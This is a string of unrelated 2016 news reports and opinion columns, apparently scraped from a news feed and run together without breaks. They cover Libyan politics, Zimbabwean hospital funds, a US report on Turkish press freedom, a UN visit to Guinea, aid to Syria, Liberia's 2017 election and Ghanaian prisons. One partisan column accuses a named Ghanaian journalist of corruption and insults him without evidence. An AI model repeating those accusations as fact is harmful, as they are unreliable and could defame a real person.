"I find it regrettable that yet again a clear majority of members of the HoR are denied the opportunity to exercise their intrinsic democratic right as elected representatives of the Libyan people to uphold the pivotal role of the House as a legislative and monitoring body at this critical juncture of the political process," he said.

Kobler urged the lawmakers "to continue upholding their responsibilities in exercising their duties without obstruction, threat or intimidation".

He said the failure to back the unity government was a "setback to ongoing efforts to bring an end to the institutional divide in Libya and to bring peace to the Libyan people".

The international community sees the unity government as the best hope for oil-rich Libya, which has been roiled by turmoil since the 2011 ouster and killing of veteran dictator Moamer Kadhafi.

Concern has been compounded by the expansion of the Islamic State group in Libya, where the jihadists have set up base just 300 kilometres (185 miles) across the Mediterranean from Italy.

People smugglers are also feeding on the chaos, with a surge of illegal migration to Europe from Libya.
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News / National

by Staff Reporters

THE Ministry of Health and Child Care has dispatched a fresh team to reassess the usage of Targeted Approach funds in government hospitals. The reassessment is expected to result in the prosecution of government hospital officials implicated in corruption, underhand dealings, flouting of State Procurement Board (SPB) regulations and procedures in the procurement of medical equipment under the fund.The government ordered the new investigation following documented abuse of the funds by institutions such as Mnene Hospital in Mberengwa and Mpilo Central Hospital in Bulawayo among other health institutions. In an interview after a tour of Gweru Provincial Hospital yesterday, Health and Child Care Minister David Parirenyatwa said there were many health institutions in the country that had not properly accounted for the Target Approach funds.Parirenyatwa said the government sought to close loopholes that had allowed the abuse to continue. "Our teams are going back to reassess how the Targeted Approach money was used. We're going to visit hospitals like Mnene and assess how the money they received was used. I'm sure there're many hospitals in that situation," said Parirenyatwa."We're doing this nationwide and that will help us to come up with the way forward on the usage of any money that comes into the health institutions, be it donor money or from the government." Parirenyatwa said government health institutions, which were the last resort for the ordinary Zimbabweans, should be funded well by treasury.He said the government health institutions should not be allowed to rely on donor funds for survival when government was there. He revealed: "Midlands as a province was allocated $460,000 in the national budget but to date only $3,000 has been disbursed. We continue to lobby the rest of the government and treasury to look at this priority area of health."You can't begin to allocate $460,000 and disburse just $3,000. We need everybody to assist us because our hospitals will not do better if we don't give them resources and they start relying on unreliable donor fund. "The government should come up and lead from the front and start putting resources in the health sector."This is what we call a support visit where we're monitoring the situation on the ground and we've been going around the country doing that. "I'm beginning to appreciate that our staff is working very hard with limited resources and under quite difficult circumstances."Dr Parirenyatwa said it was a welcome development that Gweru Provincial Hospital operates an Intensive Care Unit (ICU) ward to serve lives especially of road accident victims. He said there was need for all hospitals along the country's major highways to have ICUs to improve their efficiency in attending to road accident victims.Today the minister tours Zvishavane and Mberengwa hospitals.
22.04.2016 LISTEN

Kweku Baako and many others like him in the media have already given themselves away as corrupt and notorious media practitioners who have dug in to serve political causes of their choice for particular purposes. They are all over the place. Even in the National Media Commission. Take the former Chair of that Commission (Kabral Blay Amihere, for instance.

Then, add others like Yaw Boadu-Ayeboafo, formerly of the Daily Graphic Corporation, Gifty Afenyi-Dadzie, formerly of the Ghana Broadcasting Corporation, and many others who shamelessly trooped to the NPP camp from where they would churn out damaging publications about politicians that they are programmed to hate). There are many others who have also found comfort in the NDC stables and are publishing anything to undermine the NPP camp.

The truth, then, is that for as long as journalists can throw caution to the wind and declare their allegiance to politicians of their liking or political camps supporting their lifestyles, so should all other Ghanaians who know the value of networking be free to do so. Why does Kweku Baako feel that he can openly support Akufo-Addo while other Ghanaians should be restrained from declaring their allegiance to politicians appealing to them? Our chiefs arent stupid not to know how the tide flows. In that sense, who the heck is a stomach journalist like Kweku Baako to set benchmarks?

The spate of yellow journalism being done in the country is the direct upshot of the unhealthy competition among the journalists to catch the eyes of the unconscionable politicians paying them to do the piping. Our chiefs know all about this game. In assessing happenings, they know where to go so they can also win some official support to attract development projects. Does doing so make them unwise while journalists who have sold their conscience to the very politicians should be praised for undermining those that their idols cannot defeat at the polls?

Indeed, Kweku Baakos insult to the chiefs will have damaging repercussions from many perspectives to torpedo Akufo-Addos electioneering campaign efforts. Take it from me that the negative fallouts have already registered, and the chiefs and people will react appropriately. I wait to see what happens when Akufo-Addo goes out to sell himself to them and their people. The kind of gutter journalism being done by Kweku Baako and Co. for him will spell his doom again.

Only in Ghana, where gutter journalism thrives will a school drop-out like Kweku Baako own a newspaper and function as a journalist. Only in our warped system will such a character become so ubiquitous to say anything at all just to please his manipulators. And we know that Kweku Baako is manipulated. He is in the pockets of those who cushion him to function in the media scene. He has a long and shoddy history of snuggling to politicians for personal benefits If he doubts it, let him come out to challenge us and we will prove to him that we know him more than he knows himself.

Just a brief background of Kweku Baako to prove that he is a shameless opportunist who is caught up in the trap that he has set for himself as far as bootlicking is concerned. We cite instances from the Rawlings June Four era to date, focusing on major landmarks.

Kweku Baako was an avowed Rawlings supporter until his arrest and detention for overstepping bounds (whatever that means, he knows it himself). He was a victim of a revolutionary/political cause that he didnt understand but wholeheartedly supported and propagated. He has on many occasions boasted of working closely with Rawlings but ending up being victimized, which has turned him into an implacably angry critic of Rawlings.

When he suffered the scourge of his own miscalculation, he turned coat and joined the politicians opposed to Rawlings. His anti-Rawlings poisonous self came into its own when Kufuor led the NPP to power at Election 2000. Thinking that he could harm Rawlings, he stood his grounds and behaved in a gladiatorial manner, even if quixotically. Will we forget his boast to strip Rawlings naked? or how he allowed himself to be used by the Kufuor administration to undermine Rawlings? We recall the Ghacem bribery issue and how he and Gabby Otchere Darko were sponsored by the Kufuor administration to visit Norway on a mission that turned to be their own nightmare.

Once he set himself up to be used, he never relented in running the fool[s errand given him by the anti-Rawlings forces. Kweku Baako sold his conscience to the NPP and has remained the worst fanatic in the media singing the NPPs praise all this while.

My assertion at this point is that if he sees nothing wrong with a journalists selling his conscience to politicians, why should he be alarmed that chiefs are rooting for politicians of their choice? What is good about journalists declaring their support for politicians or political causes but wrong when chiefs do so?

In truth, the selling of conscience to politicians by journalists is worse than its being done by chiefs. Clearly put, journalists are known for what they are and their profession is established as the Fourth Estate of the Realm. What this qualification means is that journalists are expected to be torchbearers to throw the searchlight on happenings in the three arms of government (the Executive, the Legislature, and the Judiciary). In doing so, they are expected to substantiate the maxim that the pen is mightier than the sword.

It is a yeomans job to be done on the basis of public spiritedness, integrity, and discipline. It means upholding standards to uplift public discourse and governance. That is why in advanced democracies, laws exist to allow journalists have access to information for the common good. In Ghana, the persistent demand for the passing of the Right to Information Law isnt going anywhere just because the journalists themselves havent created the conducive environment for it. They have all found safe havens to nestle in to exploit the loopholes of the system. They have thoughts for their own well-being and not that of the common weal.

In this regard, Kweku Baako and many others who have snuggled to the NPP and NDC, resp[ectively, and are making ugly noise all over the place know very well that they are a nuisance. Yet, they constantly make noise to deflect attention from their own corrupt nature to the petty problems about the government of the day to create misleading impressions.

A careful assessment of the place and role of this Kweku Baako in our contemporary political times will reveal the rot that he is. If his father were so, it wouldnt be surprising how he ended. I am being very blunt here to prove my point that Kweku Baako is a treacherous journalist to be wary of. I wonder why the Rawlings administration didnt send him to the west (as the saying goes) if, indeed, Rawlings were the murderer that Kweku Baako constantly portrays him.

Folks, I want to say at this point that the kind of agenda being pursued by Kweku Baako and all others like him in the media wont help Ghanas cause. The truth is that while they are politically aligned and openly defend the indefensible acts of omission or commission of their paymasters, they have no moral compunction to badmouth those in the other political camps not seeing things the way they do. That explains why Kweku Baako is all over the place, condemning President Mahamas administration as if doing so would clear the hurdles for Akufo-Addo (whom he worships) to be in power.

The overarching issue, then, is: What is good about journalists declaring their support for or endorsing politicians that turns bad or sour when chiefs do same, at least, if we are to believe Kweku Baakos claim? And are the chiefs endorsing the politicians as stupid as Kweku Baako portrays them? What will make journalists wise in this very circumstance when they endorse politicians and use the media they manage to sing their praise?

Is the Ghanaian journalist who adulates a politician, grabbing perks from those politicians to support their profession, any wiser than the chiefs genuinely endorsing President Mahama for fulfilling his promise regarding development projects? And who says that any Ghanaian journalist is ever wise?

Truth be told, our chiefs are really wise. That is why they remain respectable as the custodians of everything embodying our traditional values. Does Kweku Baako have a traditional home headed by a chief? I wonder. Of course, for such a semi-literate self-righteous character bent on pursuing the political agenda set for him by his handlers, there is no need to defer to the traditional authorities. I pity him.

He has stepped out of bounds and must bow his ugly bullet0head in shame. For as long as characters like him devalue the traditional authorities, they will continue to struggle in their political mobilization drive. Now that he has insulted the chiefs, what can his handlers do to get their goodwill? Lets not forget that the chiefs also know where Kweku Baakos bread is being buttered. They know where his political allegiance lies; and they will translate that knowledge into political capital on election day.

At this point, it can be established that Kweku Baako has added one more problem for Akufo-Addo to solve. Those who know him as an ardent and unrepentant Akufo-Addo buff can read deeper meanings into his drivel and draw conclusions that wont favour Akufo-Addo. The credibility problem thickens
The United States accused Turkey of restricting civil rights and violating basic human rights in a long annual human rights report released on Wednesday.

The report starts noting that the challenging security environment and attacks on party officials and campaign staffers in some cases hindered contestants ability to campaign freely, and expressed concern that media restrictions during the campaign period reduced voters access to a plurality of views and information during the election process on November 1, which led to the formation of a government on November 24 by Prime Minister Ahmet Davutoglu, even though it was considered a generally free election.

The report revealed that multiple provisions in the law created the opportunity for the government to restrict freedom of expression, the press, and the internet. The report said:

Government pressure on the media continued. As of November authorities had arrested an estimated 30 journalists, most charged under anti-terror laws or for alleged association with an illegal organization. The government also exerted pressure on the media through security force raids on media companies; confiscation of publications with allegedly objectionable material; criminal investigations of journalists and editors for alleged terrorism links or for insulting the president and other senior government officials; reprisals against the business interests of owners of some media conglomerates; fines; and internet blocking. At least one journalist was physically attacked and injured in the wake of threats incited by a pro-government member of parliament. Self-censorship was common amid a prevailing fear that criticizing the government could prompt reprisals. Pressure on Kurdish-language and opposition media outlets in the Southeast reduced vulnerable populations access to information about the conflict with the PKK. A number of media outlets affiliated with the Fethullah Gulen movement were dropped from digital media platforms (cable providers) and five outlets were taken under the control of government-appointed trustees. Representatives of Gulenist and some liberal media outlets were denied access to official events and in some cases, denied press accreditation.

The report pointed out that senior government officials used anti-LGBTI, anti-Armenian, anti-Alevi, and anti-Semitic rhetoric, particularly during polarizing election campaign periods. It also stated that inconsistent application of the law and the appearance of overly broad application of anti-terror laws remained problems:

Wide leeway granted to prosecutors and judges contributed to politically motivated investigations and court verdicts that were not consistent with the law or with rulings in similar cases. Authorities applied the broad anti-terror laws extensively with little transparency to arrest opposition political party members and individuals accused of association with the PKK or the Fethullah Gulen movement. Authorities continued to make arbitrary arrests, hold detainees for lengthy and indefinite periods, and conduct extended trials. The government also indicted six judges and prosecutors involved in investigating alleged corruption of high-level government officials, a move interpreted as an attempt by the executive branch to intimidate members of the judiciary.

According to the report, peace courts created legal confusion due to unclear hierarchy and authority. The report said.

The courts in December 2014, for example, ordered the arrest of Samanyolu Broadcasting Company CEO Hidayet Karaca and other members of the media as well as 33 police officers. After a higher-level court ruled on April 26 that detainees should be released, the Istanbul chief public prosecutor stated the higher courts decision was null and void because another peace court had simultaneously ruled for the continuation of their detention. The defendants were indicted on September 17, and the case continued at years end.

The country has an inquisitorial criminal justice system.

The report suggested that the countrys system for educating and assigning judges and prosecutors created close connections between them; observers (including the European Commission) claimed this led, at least, to the appearance of impropriety and unfairness in criminal cases. The report noted:

Prosecutors and judges studied together at the countrys Justice Academy before being assigned to their first official posts by the HSYK; after appointment, they often lodged together, shared the same office space, worked in the same courtroom for many years, and even switched positions over their careers. Prosecutors entered courtrooms through doors reserved for judicial officials and sat next to judges throughout court proceedings. Human rights and bar associations noted that defense attorneys generally underwent less rigorous training than their prosecutorial counterparts and were not required to pass an examination to demonstrate a minimum level of expertise.

The report emphasized that Turkish authorities used the anti-terror laws during the year to detain individuals and seize assets, including media companies, of individuals alleged to be associated with the Gulen movement. The report revealed:

In the context of the governments fight against the parallel state or parallel structurewhich it alleged was a clandestine network of followers of Muslim cleric Fethullah Gulen within the executive and legislative branches that sought to overthrow the governmenta court ordered that a Gulen-affiliated holding company, Koza Ipek Holding, be placed under government-appointed trusteeship on October 27. Koza Ipek Holding owned five media outlets, which re-opened with a pro-government editorial line shortly after the takeover. Another holding company, Kaynak Holding, with the nations largest publisher of educational textbooks, was put under trusteeship on November 18.

Most Gulen-affiliated television channels lost a significant portion of their audience after pay-television platforms dropped them, beginning with Tivibu on September 27. By October 15, four (out of six) digital pay-television platforms had dropped the channels. The governments media regulatory institution, RTUK, warned the operators that the removal violated broadcasting requirements for platform operators to be fair and impartial and was inconsistent with standard legal procedure. Despite the RTUK warning, a fifth pay-television platform, Turksat, dropped Gulen-affiliated channels on November 16.

On October 28, police used teargas and water cannons to disperse crowds of supporters in front of the office building housing the Kanalturk and Bugun TV television stations, then forced their way into the building and shut down the two channels during a live broadcast. The police action was the result of a court ruling creating a board of trustees to manage the stations parent company, Koza Ipek Holding. Critics of the takeover cited procedural irregularities and asserted that the media outlets were targeted for criticizing the government. Government officials denied any political motives, stating the connection between Koza Ipek Holding and Gulen justified the action.

In the report it was also noted that writers and publishers were subject to prosecution on grounds of defamation, denigration, obscenity, separatism, terrorism, subversion, fundamentalism, and insulting religious values.

Authorities investigated or continued court cases against myriad publications and publishers during the year. On December 15, a Gaziantep court ruled that the books of three authors, Hasan Cemal, Tugce Tatri, and Muslum Yucel, would be pulled from bookstores because the books were found among the possessions of two persons arrested for PKK membership.

The report reminded that with the consolidation of media outlets under a few conglomerates that had other business interests, media entities increasingly practiced self-censorship to remain eligible for government contracts.

Human rights organizations such as Freedom House noted that certain companies with media outlets critical of the government were targeted in tax investigations and forced to pay fines.

The State Department report also reminded that several organizations, including the Committee to Protect Journalists (CPJ) and Freedom House, reported authorities increased their abuse of the anti-terror law and criminal code to prosecute journalists, writers, editors, publishers, translators, rights activists, lawyers, elected officials, and students for exercising their right to free expression.

Aydogan Vatandas

Journalist, writer and political analyst
The Special Representative of the Secretary-General on Sexual Violence in Conflict, Zainab Hawa Bangura, has concluded her second visit to Guinea, urging the Government to accelerate the progress of justice for the victims of the 28 September 2009 crimes, including survivors of sexual violence.

I commend the Government of Guinea for the responsibility it has taken to drive a domestic process of accountability for these crimes, and I now urge the authorities to move as soon as possible from the investigations phase to begin the trials, said the Special Representative.

Since 2012, the Office of the Special Representative through its Team of Experts on Rule of Law and Sexual Violence has supported a panel of Guinean Judges established to investigate and prosecute the grave human rights violations that took place in 2009. This has led to 16 indictments, including of former President Moussa Dadis Camara and high ranking military commanders. The Panel of Judges has interviewed over 400 victims and witnesses.

This process is critical for justice and reconciliation in Guinea. It can also be a powerful example to which many other countries in Africa and beyond look for lessons and inspiration, stressed Special Representative Bangura.

During the visit the Special Representative met with representatives of victims associations and survivors, many of whom continue to suffer from debilitating physical injuries, psychological trauma and destitution due to stigma and shame. Special Representative Bangura emphasized that even as the course of justice progresses, the immediate priority must be to ensure that the survivors and their families receive the services, care and livelihood support that they so urgently require.

The Special Representative also met with the President of Guinea, His Excellency Alpha Conde; Prime Minister Mamady Youla; Minister of Justice Cheick Sako, as well as the Panel of Judges. She discussed the continued support of the United Nations to the Government of Guinea in addressing the considerable practical and political challenges as the justice process moves forward.

In my discussion with the Guinean authorities, I urged them to take steps to ensure that all those who have been indicted by the Panel of Judges are suspended from public positions until the conclusion of the process, the Special Representative noted. She alsomade a call for increased judicial cooperation with Guinea to allow the Panel of Judges to hear remaining key witnesses that are outside the country.

The visit of the Special Representative was conducted jointly with Dr. Sarah Sewall, the United States Under Secretary of State for Civilian Security, Democracy and Human Rights, who reiterated the support of her Government to strengthening the justice sector in Guinea. The United States remains one of the strongest supporters, both politically and financially, of the United Nations Security Council mandate to prevent and address conflict-related sexual violence.

I stand in solidarity with the victims of sexual violence in Guinea, and pledge that the United Nations will continue to champion their cause of justice and dignity, concluded Special Representative Bangura.
Damascus/Geneva - More than 120,000 people, in the besieged town of Al Rastan, near Homs have begun receiving food, medical aid and items for the provision of clean water. The aid was delivered by the International Committee of the Red Cross (ICRC), the Syrian Arab Red Crescent (SARC) and the United Nations in a 65-truck convoy. More aid should be delivered in the coming days.

Al Rastan, which borders the governorate of Hama, has seen heavy fighting during the past four years. Very little aid has reached the town. The recent respite in fighting has now allowed for this.

The people have suffered terribly, said Majda Flihi, who led the ICRC team into the area. Peoples livelihoods, especially farming and raising livestock, have been severely affected. Damage to the towns irrigation infrastructure has made the situation even worse, she said.

Today, the ICRC provided 24,000 food parcels, medicines, and wheelchairs. Water treatment materials, tanks, pumps and generators to improve the condition of boreholes and ensure steady supply of clean water to the population were also delivered.

Whilst this aid delivery is a positive development, it is important that there continues to be regular supplies to Al Rastan and to other besieged and hard-to-reach areas.
22.04.2016 LISTEN

There is a rift today in understanding the difference between the Law, Culture and the Environment. Many believe these three terms can be encapsulated into one single word, considering the manner in which they are defined. Others are of the view that these three are separable.

Law is very broad and somewhat linked with culture especially when defining the two. And in the same vein, one cannot also exclude the linkage between culture and the environment. Law can be defined as a rule of conduct or procedure recognized by a community or country as binding or enforceable by authority. Law becomes a part of our daily living. Culture is mostly said to be a way of life of a particular ethnic group, or to a larger extent, a whole country. Just as it is commonly said by many, if not all, that, the Ghanaian culture does not allow the practice of certain things such as Homosexuality. That has led to the exclusion of such practice from the laws of this country.

Culture and the Law, when broadly defined, are interwoven. The Environment defines the kind of Laws we follow in our society, and also does same, as it dictates what sort of culture we practice. However, it is argued that the environment is separable from the other two  that is  it only has little to do with the Law and Culture. The systematic approach to these three requires the manner in which all are defined and understood. Some Sociologists and philosophers believe that, culture is indigenous while the Law is modern  as it is said, the law became visible only a few centuries ago.

The debate continues unabated when Law is compared with the Environment, in order to divulge the hidden truth. Yet still, the same argument pops up. The Environment is an avenue that allows the law to operate. But the question is, how? The environment when conducive, allows for the Law to work effectively. The environment consist not only the external influences, but also consists human beings. The activities of man allow the Law to operate or the other way round.

Juxtaposing culture with the environment, the environment is a pathway to arriving at a certain culture. Just as it does to the Law. The tussle however continues to deepen as to whether the three can be one or can be separable. But the relation between the three is much alive; because the three terms are one when broadly defined even as many still argue strongly the Environment must be an exception to the other two terms  The law and culture. Until an impasse is reached on this topic, one cannot be very certain in their comparisons.
Vice President Joseph Boakai

22.04.2016 LISTEN

Democratic political culture calls for a siting vice president to contest elections and possibly succeed a retiring president. And, history is replete with such manifestations, particularly under an atmosphere where the retiring president, assisted by the sitting vice president, have provided good stewardship.

Ambassador Joseph Boakai was elected alongside President Ellen Johnson-Sirleaf in 2006 and 2011, as president and vice president of the Republic of Liberia, respectively. Assumptions aside, common sense suggests that the vice president would like to succeed his two-times running mate by asking for the votes, trust and confidence of the Liberian people.

Like most political systems, presidential candidates in the Liberian state have their admirers and detractors, advocates and critics, beneficiaries and benefactors, friends and enemies. As a presidential candidate for the October-November 2017s election, Vice President Boakai surely has folks on both sides of the spectrum. Opponents and critics of the vice president are advancing arguments as to why he should not run, or is not preferable to assume the highest office. Some of the arguments are utterly vague and baseless, but a good number of them make flawless sense and require serious consideration, if we are to usher in a new Liberia under the leadership of the Unity Partys sitting vice president.

Those who support the vice president cite, among other things, his personality and his character as a person. Sure, these two human factors are very important. Besides, and with all sincerity, the vice president is a good man a decent family man, and a person of faith, so there is no argument about that. But Liberias 2017 presidential election is more than voting for a good and decent man, or a person of faith, particularly in a country where political leadership has been guided primarily by strategic personal embellishment rather than a national ideology that aims to lift all Liberians from poverty and protect them from insecurity irrespective of tribe, religion, gender, social status and sexual orientation. This is precisely why the vice president, as good and decent as he may be, has more explaining to do to all Liberians whose votes he needs.

Other supporters of the vice president also cite his three decades of experience in successive Liberian governments as a reason to elect him as the next president of Liberia. True be told, experience in politics counts. Experience does matter, of course, but it also varies and it is truly in the eyes of the beholder. In the eyes of the vice presidents supporters, his experience, as a once managing director of the Liberia Produce Marketing Corporation (LPRC) and minister of agriculture under President Samuel K. Doe, Sr.s administration, and as a two-term sitting vice president under the Ellen Johnson-Sirleaf-led Unity Partys regime, is a plus. Equally, in the minds of the vice presidents staunch critics, many disagree and think he has not done enough, if not, anything to show why he deserves the votes, trust and confidence of the Liberian people when his previous and current roles in successive governments leave nothing to desire.

That said our role in this much needed debate is not to say who is right or wrong, but to present the arguments from both sides. The unfortunate thing in the whole debate is that the vice presidents supporters, especially his public relations team, are not savvy enough to provide a convincing narrative to counter the perceived, real and unreal objections and criticisms against their choice other than going on a weak and unnecessary attack against people whose votes, trust and confidence the vice president needs to win and lead Liberia come 2017, if possible.

The fact is elections are about the future not the past. In the case of Liberia, the 2017 presidential election is about breaking away from Liberias ugly past to a new beginning. Therefore, old political and governance experiences do not really matter, especially in this age of IPhone and Instagraman age when everything is revolutionized so fast that keeping pace is, in itself, another piece of work. Besides, apart from the late legendary Albert Porte, Didwho Twe and Gabriel Kpolleh, Liberian politicians, in general, have not demonstrated admirable and resound political experience and judgment, it does not matter whether they were the governors or the opposition. Therefore, counting on past experiences as a barometer to express qualification and competence for the Liberian presidency would be a huge mistake for any candidate to make in a period when Liberia needs a new directiona drastic change from its current mess.

Liberians want vision, a new narrative and a new paradigm because we want to move forward as a nation, not backward. Any politician who talks about failed experiences that have not changed Liberia nor helped Liberians would be putting us and our nation in the reverse. Although it is perfectly understandable that being a consummate insider in past Liberian administrations makes it harder for one to be an effective reformer, the vice president still has a chance to make an effective case as to why he will do things differently this time around after three decades of public service to the country. And, making that case is up to the team he brings around him. So far, we see sycophants, failed politicians and folks that want business as usual on that wagon. This is precisely why much traction is not realized since his announcement to run for president.

I am an unapologetic admirer of the vice president and I respect him a whole lot because he is a good and decent man. But these reasons, though compelling, are different in themselves and they do not translate into a convincing reason for a vote from serious minded Liberians, including me. Besides, I am not consulted to provide a platform for the vice president, and I do not pretend that I am the most competent to do so. In the same vein, I strongly think those who are selling this good man are seemingly incompetent because they are doing him disservice by the kind of messages they put out there in his defense, and in marketing him. Instead of being defensive and providing excuses on serious issues and questions expressed by some Liberian voters, they need to be strategic, forthcoming and visionary, and not live in the past. Excuses such as, the late President Samuel K. Doe, Sr. did not allow then managing director and minister Boakai to do an effective job at LPMC and at the agriculture ministry, respectively; or being VP to President Sirleaf for 12 years means his work is only to support the presidents agenda, even if the presidents agenda is dead wrong on some policy issues, are not compelling and convincing thesis, at best. Liberians want to know what the vice president will do differently for Liberia; not what he did or did not do after three decades of a higher level public service life as a good man.

Liberia faces serious economic, political, social and national security problems. These problems did not start doing the reign of the current Sirleaf-Boakai Unity Partys administration, however; the Unity Partys Oligarchy-Plutocracy has multiplied our nations calamities a hundred-fold in ways never experienced before since our countrys professed independence in 1847. Among the economic issues that would definitely arise in governing our nation post the 2017 era are private sector job creation, the lack of employment, sectoral reforms, and the delivery of effective public service in addition to the disintegration of social institutions and the rule of law. These things apparently add to the crisis of the existing 80% plus cyclical, frictional and structural unemployment and the over two million unemployed in the country. It would also seriously add to the number of underemployed. These also, when combined, add to the stress and frustration amongst Liberian youth, with a potential for protest.

Liberia will also face numerous other national and international challenges aheadfrom terrorism to cyber security, trade imbalance, modern industrialization and innovation, the impact of technology on labor market and labor force participation, education and workforce development. These things would require the best and brightest vision and values at our nations disposal. These new global challenges, which are not unique to Liberia, also demand that Liberians elect a president with a vision for the future not an experience based on the past. This is precisely why voters in western nations increasingly elect their leaders based on their brand, not so much on their record as former public servants. Liberia needs a president with grandiose ideas, as my mentor and the former speaker of the United States Congress, Newt Gingrich would say.

In this regard, history reveals few things to us all. When the revered John F. Kennedy ran for president of the United States in the 1960s, he courted the American people about his vision, not his experience because he had none, and Americans did not need experience, anyway. In Kennedys mind, man needed to go in space and he wanted the first man to be an American. Because of Kennedys vision, the United States achieved that goal and, today men and women can go in space from almost every part of our worldfrom Russia to China, it is happening!

In 2008, then Senators Hillary Clinton of New York and John McCain of Arizona argued that newly elected and visionary Senator Barack Obama was too green and inexperience for the job of being president of the United States. But history shows that when it comes to the presidency, experience does not really guarantee success; vision and principles do. If experience did, President Sirleaf would have clearly been greatly successful in taking Liberia at the next level. For his part, Obama, a son of a Kenyan cattle handler, drawn Americans interest and votes with a vision for change, not an experience based on segregation and labor strife in the 1960s. On the other hand, the father of India, Mohandas K. Gandhi, who was considered a career politician, with a long and interesting experience, did not rely on his experience as a soft spoken, religious and kind man with vast legal prowess. Instead, he put forward his vision for India which came to fruition when the British Empire relinquished political control of what is today India and Pakistan, without seeking power for himself by turning down being the first prime minister.

Similarly, Nelson Mandela, who is seemingly regarded as the best president ever in Africas history, had no prior political nor governance experience. In fact, he spent half of his life in maximum security prisons. Instead, his vision was that South Africa becomes a true multiparty democracy where everyone, no matter who they are, will be held accountable, and where no one will be above the law.

We are seeing Mandelas vision comes true in South Africa where a ruling party (the African Nation Congress) can force a sitting president from office as was the case of Thabo Mbeki, a highly respected world leader, and where another sitting president, Jacob Zuma, is called to book on mismanagement and corruption charges and is forced to apologize to his people on national TV. That was the vision Mandela set forth. Just in our backyard, love him or hate him, former President Jerry Rawlings envisioned a Ghana that would be respected and admired in the comity of nation. Today, Ghana is the new western nation for Liberian politicians and business elites to save their ill-gotten wealth, take vacation, seek medical care and even send their children to for superior education. That was the Rawlings vision, a better Ghana for all Ghanaians.

In the mid1990s, when I painfully abandoned my cherished vocation to the Catholic priesthood, after more than half a decade time of studies, to pursue advocacy and change in Liberia as a result of the brutal murders of five American Catholic nuns, my vision was that Liberia became a nation free of regional terrorism and one that ceases from being a nation that exports agents of deaths and destabilization. I set out that vision and with international admiration, it was realized. The point is vision counts because it points to the future. Experience matters in guiding us, but it does not bring anything new or exciting, especially in the age of globalization and technological competition, and more so, when such experience only serves to remind us about what sets us back in the first place.

Clearly, there is a number of paths to being truly successful in achieving any of these things as a president of the new Liberia to come post 2017. However, experience is not one of them because Liberians, in general, have never had any good experience from their politicians. The odd class and tendencies of our progressive elders today speak volume. Just yesterday, many of them spoke against everything bad under previous administrations, and today, almost all of them are completing mute, if not collaborating in everything terrible in Liberia nowadays.

There is equally no correct path or perfect experience required to be president of a country, more so Liberia. This is why the vice president and his supporters must put forward a clear vision and plan of action for Liberia. Unwarranted Attacks and phony excuses from surrogates wouldnt break the ice on the cake! I am confident Ambassador Boakai can make a solid case.

About the Author: Jones Nhinson Williams is a Catholic educated philosopher and an American trained public policy professional. He can be reached at [email protected]
Accra, Ghana - Youth group and Women group became one under the name of peace in Ghana on 16th, March. IWPG, IPYG, Ghana Association of Women Entrepreneurs (GAWE) along with HWPL, cohosted Inauguration of HWPL Peace Advocacy Committee for the Implementation of the International Law on the Cessation of War and Achievement of World Peace in Kanda, Estates H/N 8, Konongo Street of Accra, Ghana.

On that day, Ms. Lucia Quachey, (President), announced that the purpose of this event is to urge all people of Ghana to support the Declaration of Peace and Cessation of war proclaimed by HWPL. Ghana Association of Women Entrepreneurs (GAWE) said that "women and youth groups should take the important role in build peaceful world from the International Law on the Cessation of War and Achievement of World Peace in Ghana."

Approximately 10 people representing NGOs affiliated with IWPG (International Women's Peace Group) and IPYG (International Peace Youth Group) launched the HWPL Peace Advocacy Committee for the Implementation of the International Law on the Cessation of War and Achievement of World Peace and discussed the activity plan of the HWPL peace advocacy committee in Ghana.

Dr. Al Haji Hussein professor of Islamic university announced that "We might get the opportunity which is able to find the solution for making world peace." He continued "Every women and young people in Ghana should urge the activity of the implementation of international law to build the cessation of war and achievement of world peace."

Organizers said the participants have cooperated with many peace groups but it is the first time for them to see a peace organization like HWPL that deals with implementation on international law. Then, they showed a respond that they try to build a network in various fields. And Dr. Al Haji Hussein, professor of Islam Univ who attended this meeting, helped 500 students sign the pledge to urge for the implementation on declaration of peace and cessation of war, while on/offline signature pledge were conducted by West African peace organizations.

Then, they showed a respond that they try to build a network in various fields. IWPG said that they hope that Declaration of Peace and Cessation of War for End of War and World Peace is to be known to all nation via Ghana Peace Committee and these urging activities for Peace would be continued on a regular basis.

On the other hand, IWPG was founded in 2013 by a Chairwoman Namhee Kim with the will of saving youths from wars, stopping war, and leaving legacy of peace to future generations. A headquarter of IWPG is located in Republic of Korea, and there are 179 branch offices in 40 countries with total 700,000 members globally. They have been receiving attention by its outstanding work as a nonprofit peace organization with global peace network. Also, Chairwoman, Namhee Kim went world tour 24 times with Man hee Lee, the chairman of HWPL, for 'Cessation of War and World Peace & Enactment of International Law' and 'Unification of Religions and making a Peace Agreement with Presidents and various leaders from nations.

'Declaration of Peace and Cessation of War' was proclaimed in Seoul, Republic of Korea on March 14th and the declaration has been prepared over the last 6 months. HWPL International Law Peace Committee has led this event and it consists of great scholars of International Law, law professors, justices of the Supreme Court, etc.

The Declaration of Peace and Cessation of War indicates eliminating potential factors such as weapon production of a main cause of war and also expanding peace culture by offering thorough education to youths because the youths are the ones who are incited and sacrificed mainly in wars. In contrast to existing international laws, this declaration was designed to be supervised and urged by the public to see if the proclamation is implemented or not.
Elsie Appiah-Osei,GNA

Accra, April 21, GNA - Mr Jonathan Osei Owusu, the Executive Director of Perfector of Sentiments Foundation (POS), a local Non Governmental Organisation (NGO), has called on government to adjust the feeding fee of prisoners.

He said the GHa1.80 pesewa feeding fee for prisoners a day was an abuse of their fundamental human rights.

'Prisoners being fed on GHa1.80 pesewa a day was a clear torture and infringement on their human rights,' he said.

Mr Osei Owusu made the call when he addressed a national consultation meeting on the implementation of International Covenant on Civil and Political Rights (ICCPR) in Ghana on Thursday.

He called for the separation of remand prisoners from convicted prisoners, since keeping them together was against their health rights due to the congestion in the prisons cells.

'The Justice for All programme, since its inception in 2007, has helped solve the human rights issues of prisoners so we should not be complacent and make better changes in the various prisons of the country,' he said. Ms Wendy Abbey, the Technical Advisor at the Human Rights Advocacy Centre (HRAC), organisers of the meeting, told the Ghana News Agency that the programme was an opportunity for Civil Society Organisations (CSOs) to build their capacities on how best to contribute to national review of documents, improve human right situations in Ghana, empower human situations at the international level and influence the behaviour of government.

'This is a session where we are engaging CSOs to respond to the list of issues the United Nations Human Rights Committee has adopted towards the implementation of Ghana's status on the ICCPR,' she said.

Ms Abbey said the HRAC had engaged 25 human rights organisations to deliberate on issues concerning women and children's rights, prisoners, the freedom of expression and rights of the media as well as the right of all the citizenry.

